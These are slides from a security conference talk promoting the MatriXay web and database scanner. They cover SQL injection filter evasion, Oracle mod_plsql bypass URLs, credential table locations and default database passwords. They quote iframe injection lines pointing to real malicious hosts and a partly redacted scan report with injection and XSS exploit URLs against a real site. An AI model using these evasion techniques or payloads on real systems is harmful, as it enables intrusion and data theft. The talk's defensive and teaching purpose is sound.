



# Advanced Web Application and Database Threat Analysis with MatriXay

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# About Myself

## Frank Yuan Fan

CEO & CTO

DBAPPSecurity

- Research on Web application attack and defense for several years
- Blackhat US 2005, 2006, Defcon 2006 Speaker
- Ethical hacking experience for web application and Database with many real sites per requested
- CISSP, CISA, GCIH, GCIA



# Outline

- ① **Web Application Threats Overview**
- ② **Web Application Threats Analysis**
- ③ **General SQL Injection evasion technique**
- ④ **Oracle specific SQL Injection**
- ⑤ **Oracle attack at a glance**
- ⑥ **Oracle attack evasion technique**
- ⑦ **Detection Tips and strategy**



# Web Application Threats Overview(1)


## OWASP 2007 Top 3

- ➔ A1 Cross site scripting
- ➔ A2 Injection Flaw
- ➔ A3 Malicious File Execution



# Web Application Threats Overview(2)

## MITRE data on Top 10 web application vulnerabilities 2006



Source: OWASP Top 10 2007



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# Web Application Threats Analysis

While  
Ironically

➤ All your investment: firewalls and IDS/IPS can almost do nothing to help.

While  
Shockingly

➤ The lose is much more than what you can imagine, from defacement to core data stealing, till extend to your Customers being attacked.

# Web Application Threats Analysis

**The Trend is:**

**SQL Injection + ANI + Rootkit**



# SQL Injection Look Back

## ☞ General technique Overview

- ☞ and 1=1
- ☞ and 'a'='a
- ☞ Union select
- ☞ Search type
- ☞ Error based

# Specific Database SQL Injection Tech Overview

➔ Oracle

➔ SQL Server

➔ Mysql

➔ DB2

➔ MS Access

# SQL Injection Evasion Technique -1

☞ History network layer evasion tactics may still apply

➡ IP Fragmentation and TCP Segmentation

☞ Application layer reassemble challenge

➡ How if I send a 1M size SQL with or without fragmentation?



# SQL Injection Evasion Technique -2

## String manipulation

- ➔ Instead of `1=1` or `'1'='1` using dynamically generated values. Such as `'a2000'='a2000'`
- ➔ Yes, we can still detect this by constant detection,
- ➔ How about make use of functions such as `soundex` (e.g. `soundex('FAN') = 'F500'`)  
?

## Comments insertion

# SQL Injection Evasion Technique -3

➤ Encoding

➤ Combined different encoding techniques

# Examine a Real Life Example

## Example 1

- **How does a web attack defense system work?**

## Example 2

- **How about examine all keywords as well as Single Quote(') ?**

## Example 3

- **Single Quota(') detection and evasion**



# Vendor Specific Application Attack and Defense

## ➤ Oracle Specific

# Oracle Attack Vectors



**C/S model**

- ▶ Client injection
- ▶ Rootkits
- ▶ Vulnerable procedures
- ▶ Privilege escalation




**B/S model**

- ▶ Specific application server vulnerabilities
- ▶ SQL Injection/XSS...

# Oracle Secret Locations

- ➔ SYS.USER\$ (hashed: Oracle PW Alg)
- ➔ SYS.USER\_HISTORY\$ (hashed: Oracle PW Alg)
- ➔ SYS.LINK\$ (cleartext)
- ➔ Custom plsql-code
- ➔ Custom tables
- ➔ For third party software
- ➔ Oracle Portal-Table (hashed)
- ➔ Oracle HTMLDB-Table (hashed: MD5)

# Bypass Oracle Auditing



# Oracle Mod-plsql Security


## Mod-plsql Security

- ➔ Mod-plsql history and SQL injection vulnerability.
- ➔ You can almost do anything when you meet a vulnerable SQL injection.

## Mod-plsql products

- ➔ Designer generated Web Applications
- ➔ WebDB
- ➔ Portal
- ➔ HTMLDB / APEX
- ➔ eBusiness Suite
- ➔ many custom applications

# Oracle Mod\_plsql Architecture





# Mod-plsql Bypass Technology

## ➔ Use a %0A

➤ <http://www.abcd.com/pls/dad/%0ASYS.PACKAGE.PROCEDURE>

## ➔ Use Unicode, e.g. %FF instead of Y

➤ <http://www.abcd.com/pls/dad/S%FFS.PACKAGE.PROCEDURE>

## ➔ Enquote schema name

➤ [http://www.abcd.com/pls/dad/"SYS".PACKAGE.PROCEDURE](http://www.abcd.com/pls/dad/)

## ➔ Use a label in front of the schemaname

➤ <http://www.abcd.com/pls/dad/⟨⟨LABEL⟩⟩SYS.PACKAGE.PROC>

# Vendor Specific Application Attack and Defense

## ➤ Microsoft ASP .NET Specific

# ASP .net 1.1 Path Leaking

➔ **First time release, vendor notified.**

➔ **MS06-033**

➔ Claim to not affect .net 1.1

# “0-day” Vulnerability in CRM system

☞ SQL Injection Vulnerability in Vtiger CRM system latest edition (Feb 2007)

☞ Vendor notified immediately in March, Cert get alerted as well with exploit URL, no feedback yet ☹

# Real World Example Analysis

☞ A Popular Site

☞ SQL Injection with SQL Server in backend  
(oh, my...)

# Couple Lines Of Javascript Injected

```
//-->
```

```
<iframe src=http://www.haogs.cn/html/ width=0 height=0></iframe>
```


```
<iframe src=http://www.xaitan.cn/mm\mm.htm width=100 height=0></iframe>
```

```
<iframe src=http://www.haogs.cn/html width=100 height=0></iframe>
```





Yes, it is the one <http://www.97725.com/muxiao2.jpg>



# Result


☞ (MS07-017) Microsoft Windows Animated Cursor Remote Code Execution Vulnerability

☞ Vulnerabilities in GDI Could Allow Remote Code Execution

# Detection Tips and strategy


## Detection Techniques and Evasion Countermeasures

- Latest research findings overview



## What's a Big Challenge To Defense

- Performance
- False Positive



## Detection Technique

- Combined techniques
- Nothing is perfect.





 **MatrIXay**

# MatriXay Functions

⇒ Deep Crawl  
➤ Risk Based

⇒ Audit  
➤ Backend DB  
audit

**Main Funcs**

⇒ Pen-testing  
➤ Mimic attack just like a  
“ethical hacker”

⇒ Other funcs  
➤ Direct scan & Proxy mode  
supporting/Intelligent  
engine/SSL  
Hijack/XSS/Broken access  
control/BAK/ Form  
check/CGI Scan/Hidden  
parameter



## Accuracy

- ➔ Proved results to show the real vulnerability.

## 普适性

- ➔ Cross Database support (Oracle, SQL Server, DB2, and Access etc)

## Highlights

## Flexibility

- ➔ Customized policy for auditing and pen-testing


## Others

- ➔ HTTPS full support
- ➔ Two modes: Direct scan and Proxy mode


# Highlights Summary

- Cross Database support (Oracle, SQL Server, DB2, and Access etc)
- Two modes - Direct Scan and Proxy mode.
- High performance
- Flexible pen-test framework
- Very Low false alarm - Proved results
- Fully Automated - lower the bar for web app pen-tester

# Firewall is almost nothing here



Web Server





# Essential Fact/Theory Based

- ☞ Perimeter defense usually do too little to help with web/database security
- ☞ Databases are all different, but has things in common such as data dictionary
- ☞ Database has to maintain lots of information such as from session to performance data and even user credentials (user context, oracle 10g flashback are good example)
- ☞ Harden a Database (fully) is not so easy

# PenTest Sequence - Follow the stream



 Detect whether it is SQL "Injectable"




2. Send 10+ different requests to determine what database type is in backend

3. Get Current Database properties



5. Start advance injection/audit



4. Get basically whole database dictionary

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# Databases in Common

Data Dictionary	Oracle	SQL Server	DB2
Versions, Tables, Columns, Users	V\$version User_tables, cols, All_users, dba_users, sys.user\$...	@@version Information_sche ma.Tables, Information_sche ma.columns, sysobjects	Sysproc.env_get_inst _info(), SYSCAT.TABLES, SYSCAT.columns, ... SQLCA
Default user/password	sys/change_on_inst all, system/manager, dbsnmp/dbsnmp ...	sa/<blank>	db2admin/db2admin db2inst1/ibmdb2



# Roles & Privilege Auditing

Oracle	SQL Server	DB2
session_privs System_privilege_map All_tab_privs_made User_tab_privs_made	IS_MEMBER IS_SRVROLEMEMBER	SYSCAT.PASSTHRUAuth SYSCAT.SCHEMAAuth SYSCAT.DBAuth SYSCAT.TabAuth SYSCAT.COLAuth

# Special Spots for Databases

Spots	Oracle	SQL Server	DB2
Password management	Weak password hash algorithm exposed years ago and still did not change. No Salt!	Stored In Syslogins, Pwencrypt ()	OS level, SYSADM_GRP, SYSCTRL_GRP
Ports	1521 widely open unless you edit the sqlnet.ora to lock the IP connects in.	1433 TCP 1434 UDP	50000
“Evil” procedures, functions and packages	DBMS_SCHEDULER, UTL_HTTP, UTL_TCP, UTL_SMTP, UTL_FILE	Sp_OACreate Xp_cmdshell, Xp_regread, Xp_regwrite, Xp_logininfo, Xp_grantlogin Xp_XXXXX	>Create table Load from file. >Easy to create procedure to exec OS cmd

# Oracle 9i VS 10g

# SQL Server 2000 vs 2005

# MatriXay Report

Real Sample

DB AppSecurity

评估报告 - 保存时间: 2007-March-09 11:13:49 版本: MatriXay Standard Edition 1.20 (Build 1183)

## 评估结果

域:	██████████.com
Web 主机:	http://www.██████████.com:80/
扫描的页面	No Data
High Vulnerabilities	1
弱点名称	ORACLE_CHAR_TYPE_1
Exploit URL	http://www.██████████.com:80/██████████/██████████.action.do?city_id=██████████SALAAM
数据库名称	██████████a815
数据库用户名称	NEWT██████████
总表数	43 User Tables
表名:	██████████_TRAVEL_INFO
表名:	██████████_USER_MILECARD
表名:	██████████_USERINFO
字段名:	AGENT
字段名:	BBC
字段名:	ADDRESS
字段名:	SEX
字段名:	TRUNAM
字段名:	POSTNO
字段名:	PASEXP_ANS
字段名:	REG_TIME
字段名:	USRNAM
字段名:	WORK
表内容:	██████████_USERINFO
总行数:	No Data
行号:	001
USRNAM	GO██████████
中级风险弱点	18
弱点名称	SCRIPT_XSS
Exploit URL	http://www.██████████.com:80/██████████/██████████.Query.do?city=██████████&symbol=%B9%FA%C3%B3&district=%B3%AF%D1%F4%C7%F8&Submit=%B2%E9%D1%AF&corpname=a<script>alert("Hello, MatriXay!")</script>
弱点名称	SCRIPT_XSS
Exploit URL	http://www.██████████.com:80/██████████/██████████.Query.do?symbol=%B9%FA%C3%B3&district=%B3%AF%D1%F4%C7%F8&Submit=%B2%E9%D1%AF&corpname=a&city=██████████&script=alert("Hello, MatriXay!")</script>
弱点名称	SCRIPT_XSS
Exploit URL	http://www.██████████.com:80/██████████/██████████.Query.do?district=%B3%AF%D1%F4%C7%F8&Submit=%B2%E9%D1%AF&corpname=a&city=██████████&symbol=%B9%FA%C3%B3<script>alert("Hello, MatriXay!")</script>
弱点名称	SCRIPT_XSS



# In Short, MatriXay is

- Deep analysis with Cross Database support (Oracle, SQL Server, DB2, and Access etc)
- High performance
- Flexible pen-test framework
- Very Low false alarm - Proved results
- Fully Automated - really lower the bar for Consultant/pen-tester



# Demo!



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# Defense and Audit Tips

☞ Application layer hardening

☞ Database layer hardening

☞ Web Firewall/DB Auditor

# DBAPPSecurity Team

☞ Pen-testing Service

Success Rate of pen-testing is 90%+!

☞ Products



# Reference

- ➡ [www.owasp.org](http://www.owasp.org)
- ➡ [www.dbappsecurity.com](http://www.dbappsecurity.com)
- ➡ [www.dbappsecurity.com.cn](http://www.dbappsecurity.com.cn)
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- ➡ [www.securityfocus.com](http://www.securityfocus.com)
- ➡ [www.securitydocs.com/library/1902](http://www.securitydocs.com/library/1902)
- ➡ [www.microsoft.com/technet/security/Bulletin/MS07-017.aspx](http://www.microsoft.com/technet/security/Bulletin/MS07-017.aspx)

# Q&A

☞ Thank you for listening!

☞ Send your comments to [info@dbappSecurity.com](mailto:info@dbappSecurity.com)